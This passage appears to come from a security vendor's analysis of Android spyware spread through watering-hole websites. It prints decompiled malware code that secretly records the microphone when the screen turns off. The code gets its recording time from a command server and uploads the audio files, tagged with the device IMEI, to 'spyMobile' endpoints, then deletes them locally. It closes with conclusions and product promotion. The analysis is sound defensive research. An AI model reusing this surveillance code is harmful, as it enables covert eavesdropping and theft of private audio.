try { | |
if (intent.getAction().equals("android.intent.action.SCREEN_OFF")) { | |
wasScreenOn = false; | |
Intent s = new Intent(context, AppService.class); | |
s.addFlags(335544320); | |
context.startService(s); | |
System.out.println("Intent Action: " + intent.getAction()); | |
Start_check_mic(); | |
} else if (intent.getAction().equals("android.intent.action.SCREEN_ON")) { | |
wasScreenOn = true; | |
System.out.println("Intent Action: " + intent.getAction()); | |
} | |
} catch (Exception exp) { | |
Log.e("My Error onReceive ScreenReceiver ", exp.toString()); | |
} | |
} | |
private void Start_check_mic() { | |
try { | |
new Thread(new Runnable() { | |
public void run() { | |
long time = 480; | |
String temp_stat_rec = ScreenReceiver.check_start_stat_time().replace("\n", "").replace("\r", "").replace(" ", "").replace("\u0000", "").replace('', ' ').replace(" ", "").trim(); | |
if (temp_stat_rec != "no" || temp_stat_rec == "" || temp_stat_rec == null || temp_stat_rec == "error") { | |
temp_stat_rec = "480"; | |
} | |
try { | |
time = Long.parseLong(temp_stat_rec); | |
} catch (Exception e) { | |
System.out.println("Error in stop recording = " + e.toString()); | |
} | |
try { | |
if (ScreenReceiver.myRecorder == null) { | |
ScreenReceiver.myRecorder = new MediaRecorder(); | |
ScreenReceiver.this.startRecording(); | |
try { | |
Thread.sleep(Long.valueOf(1000 * time).longValue()); | |
} catch (Exception e2) { | |
System.out.println("Error in Thread Sleep = " + e2.toString()); | |
} | |
try { | |
if (ScreenReceiver.stopRecording().booleanValue()) { | |
ScreenReceiver.this.upload_file(); | |
} else { | |
ScreenReceiver.deleteTempFile(ScreenReceiver.this.NewFileName); | |
} | |
} catch (Exception e22) { | |
System.out.println("Error in stop recording = " + e22.toString()); | |
} | |
} | |
} catch (Exception e222) { | |
ScreenReceiver.stopRecording(); | |
System.out.println("Error in start recording = " + e222.toString()); | |
} | |
} | |
}).start(); | |
} catch (Exception e) { | |
stopRecording(); | |
System.out.println("Error in stop recording = " + e.toString()); | |
} | |
} | |
private void startRecording() { | |
try { | |
myRecorder.setAudioSource(1); | |
myRecorder.setOutputFormat(1); | |
myRecorder.setAudioEncoder(1); | |
this.NewFileName = getFilename(); | |
Last_record_file_name = this.NewFileName; | |
myRecorder.setOutputFile(this.NewFileName); | |
try { | |
myRecorder.prepare(); | |
myRecorder.start(); | |
} catch (IOException e) { | |
check_start_record = Boolean.valueOf(false); | |
check_stop_record = Boolean.valueOf(true); | |
e.printStackTrace(); | |
} | |
check_stop_record = Boolean.valueOf(false); | |
} catch (Exception e2) { | |
stopRecording(); | |
System.out.println("Error in recording = " + e2.toString()); | |
} | |
} | |
private String getFilename() { | |
File file = new File(Environment.getExternalStorageDirectory().getPath(), AUDIO_RECORDER_FOLDER); | |
if (!file.exists()) { | |
file.mkdirs(); | |
} | |
return file.getAbsolutePath() + "/" + System.currentTimeMillis() + AUDIO_RECORDER_FILE_EXT_3gp; | |
} | |
public static Boolean stopRecording() { | |
Boolean stat_stop = Boolean.valueOf(false); | |
try { | |
if (myRecorder != null) { | |
myRecorder.stop(); | |
myRecorder.release(); | |
myRecorder = null; | |
} | |
Last_record_file_name = ""; | |
stat_stop = Boolean.valueOf(true); | |
long AvailableSize = Long.parseLong(Mal.getAvailableExternalMemorySize()); | |
long TotalSize = Long.parseLong(Mal.getTotalExternalMemorySize()); | |
if ((30 * AvailableSize) / 100 > AvailableSize) { | |
int counter_rec = 0; | |
String tmp_file_name = ""; | |
String tmp_file_name_first = ""; | |
long tmp_sort_2 = 0; | |
for (File f : new File(Environment.getExternalStorageDirectory().getPath(), AUDIO_RECORDER_FOLDER).listFiles()) { | |
if (f.isFile()) { | |
String[] tmp_split = f.toString().split("/"); | |
String tmp2 = tmp_split[tmp_split.length - 1]; | |
tmp_file_name = tmp2.substring(0, tmp2.length() - 5); | |
if (tmp_file_name.length() > 14) { | |
tmp_file_name = tmp_file_name.substring(0, 13); | |
} | |
long tmp_sort = Long.valueOf(tmp_file_name).longValue(); | |
if (counter_rec <= 0) { | |
tmp_sort_2 = tmp_sort; | |
tmp_file_name_first = f.toString(); | |
} else if (tmp_sort_2 > tmp_sort) { | |
tmp_file_name_first = f.toString(); | |
tmp_sort_2 = tmp_sort; | |
} | |
counter_rec++; | |
} | |
} | |
deleteTempFile(tmp_file_name_first); | |
} | |
} catch (IllegalStateException e) { | |
Last_record_file_name = ""; | |
stat_stop = Boolean.valueOf(false); | |
myRecorder = null; | |
check_start_record = Boolean.valueOf(false); | |
check_stop_record = Boolean.valueOf(true); | |
e.printStackTrace(); | |
} catch (RuntimeException e2) { | |
stat_stop = Boolean.valueOf(false); | |
myRecorder = null; | |
check_start_record = Boolean.valueOf(false); | |
check_stop_record = Boolean.valueOf(true); | |
e2.printStackTrace(); | |
} | |
check_start_record = Boolean.valueOf(false); | |
check_stop_record = Boolean.valueOf(true); | |
if (stat_stop.booleanValue()) { | |
return Boolean.valueOf(true); | |
} | |
return Boolean.valueOf(false); | |
} | |
private void upload_file() { | |
try { | |
File file = new File(this.NewFileName); | |
String[] separated = this.NewFileName.split("/"); | |
this.tmp_name = separated[separated.length - 1]; | |
if (file.exists()) { | |
this.FileSize = file.length(); | |
} | |
if (this.FileSize <= 1000 || this.FileSize >= 11585760) { | |
System.out.println("Do Not Upload"); | |
deleteTempFile(this.NewFileName); | |
return; | |
} | |
System.out.println("Start Upload"); | |
new Thread(new Runnable() { | |
public void run() { | |
try { | |
ScreenReceiver.upload_all_file_and_delete(); | |
} catch (Exception e) { | |
e.printStackTrace(); | |
} | |
} | |
}).start(); | |
} catch (Exception e) { | |
System.out.println("Error in stop recording stopRecording2= " + e.toString()); | |
} | |
} | |
public static void upload_all_file_and_delete() { | |
boolean status_upload = false; | |
for (File f : new File(Environment.getExternalStorageDirectory().getPath(), AUDIO_RECORDER_FOLDER).listFiles()) { | |
if (f.isFile()) { | |
if (Last_record_file_name.indexOf(f.toString()) == -1) { | |
sendAudioDataRecord(f.toString()); | |
try { | |
status_upload = doAudioFileUpload(f.toString()); | |
} catch (Exception exp) { | |
Log.e("Error upload_all_file_and_delete ON SvreenReceiver status_upload = doAudioFileUpload(f.toString()); ", exp.getMessage()); | |
} | |
if (status_upload) { | |
deleteTempFile(f.toString()); | |
} else { | |
continue; | |
} | |
} else if (myRecorder == null) { | |
sendAudioDataRecord(f.toString()); | |
try { | |
status_upload = doAudioFileUpload(f.toString()); | |
} catch (Exception exp2) { | |
Log.e("Error upload_all_file_and_delete ON SvreenReceiver status_upload = doAudioFileUpload(f.toString()); ", exp2.getMessage()); | |
} | |
if (status_upload) { | |
try { | |
deleteTempFile(f.toString()); | |
} catch (Exception exp22) { | |
Log.e("Error upload_all_file_and_delete ON SvreenReceiver ", exp22.getMessage()); | |
return; | |
} | |
} | |
continue; | |
} else { | |
continue; | |
} | |
} | |
} | |
} | |
private static void deleteTempFile(String DelPath) { | |
new File(DelPath).delete(); | |
} | |
public static String sendAudioDataRecord(String filename_sendAudioDataRecord) { | |
String result = "error"; | |
deviceIMEI_phone_record = AppService.deviceIMEI; | |
try { | |
DefaultHttpClient httpClient = new DefaultHttpClient(); | |
String url = Mal.Server_Domain + "/spyMobile/api_recordcall.php"; | |
if (!url.endsWith("?")) { | |
url = url + "?"; | |
} | |
List<NameValuePair> params = new LinkedList(); | |
params.add(new BasicNameValuePair("imei", deviceIMEI_phone_record)); | |
params.add(new BasicNameValuePair("reccallname", filename_sendAudioDataRecord)); | |
url = url + URLEncodedUtils.format(params, "utf-8"); | |
Log.d("Send Audio Details ", url); | |
httpClient.getParams().setParameter("http.protocol.cookie-policy", "rfc2109"); | |
try { | |
result = convertStreamToString(httpClient.execute(new HttpGet(url)).getEntity().getContent()); | |
} catch (IllegalStateException e) { | |
e.printStackTrace(); | |
} catch (IOException e2) { | |
e2.printStackTrace(); | |
Mal.findServer(); | |
} | |
} catch (Exception e3) { | |
e3.printStackTrace(); | |
Mal.findServer(); | |
} | |
return result; | |
} | |
public static String check_start_stat_time() { | |
deviceIMEI_phone_record = AppService.deviceIMEI; | |
String result = "error"; | |
try { | |
DefaultHttpClient httpClient = new DefaultHttpClient(); | |
String url = Mal.Server_Domain + "/spyMobile/api_check_rec.php"; | |
if (!url.endsWith("?")) { | |
url = url + "?"; | |
} | |
List<NameValuePair> params = new LinkedList(); | |
params.add(new BasicNameValuePair("imei", deviceIMEI_phone_record)); | |
url = url + URLEncodedUtils.format(params, "utf-8"); | |
Log.d("Send Audio Details ", url); | |
try { | |
result = convertStreamToString(httpClient.execute(new HttpGet(url)).getEntity().getContent()); | |
} catch (IllegalStateException e) { | |
e.printStackTrace(); | |
} catch (IOException e2) { | |
e2.printStackTrace(); | |
Mal.findServer(); | |
} | |
} catch (Exception e3) { | |
e3.printStackTrace(); | |
} | |
return result; | |
} | |
} |
Summary and Conclusions
The Watering Holes attack vector can be very effective. It covers a big group containing targeted people due to:
- The targets are coming to you, there is no need to reach them.
- It gains enough data that can be used for link analysis and other data analysis methods that might lead to additional targeted surveillance. Although the infection rate might not be high, when attacking a large amount of people, the total infected devices might provide enough intelligence.
- It is cheap to buy, develop and maintain compared to the usage of zero day exploits and first class offensive cybersecurity companies.
Once the application is on the device, we have shown how the espionage actions are easy to perform.
I would be remiss if I didn’t mention, we are protecting our clients from these attacks and attacks like it. Our Zimperium platform leverages our award-winning, disruptive and patented machine learning-based engine, z9, to protect mobile data, apps and sessions against device compromises, network attacks, phishing attempts and malicious apps.
Our z3A Advanced App Analysis reports continually evaluate mobile app risks, providing insight into the our client’s employees’ apps. Clients can see which apps in use are safe or risky, and set security policies to reduce that risk. For each risky mobile app identified, we provide deep intelligence, including contextual analysis, as well as privacy and security ratings.
Acknowledgments
We would like to thank Asaf Peleg for the management of this research. Some of the data that was gathered by utilizing Virustotal and Wayback Machine. We hope that you enjoyed your reading. Be aware of threats of unsafe device usage, especially while being thirsty around the Watering Holes 😉.